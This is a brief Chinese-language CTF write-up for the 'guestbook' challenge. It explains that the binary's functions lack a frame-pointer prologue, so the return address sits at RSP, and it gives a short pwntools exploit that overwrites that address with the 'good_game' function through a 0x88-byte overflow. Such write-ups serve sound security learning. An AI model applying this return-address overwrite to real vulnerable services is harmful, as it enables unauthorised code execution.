guestbook

RSP和返回地址的关系

漏洞

  • 栈溢出

  • 不同的是 process gdb 这里使用的是RSP指向位置的内容作为返回地址

    原因

  • 看他的汇编
    armasm
    main函数开始的时候,并没有像正常流程那样
    1
    2
      push    rbp
      mov     rbp, rsp
    

    而且不止是main函数,所有二进制文件的函数都没有这一步。
    这个题应该是所有数据都根据RSP寻址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from  pwn import * 

context.log_level = 'debug'
context.terminal = ['deepin-terminal','-x','sh','-c']

sh = process('./guestbook')
#sh = remote('pwn.jarvisoj.com', 9876)
elf = ELF('./guestbook')
addr = elf.symbols['good_game']

gdb.attach(sh)
payload = 'A' * 0x88  + p64(addr)
sh.sendlineafter('\n',payload)

sh.interactive()
sh.close()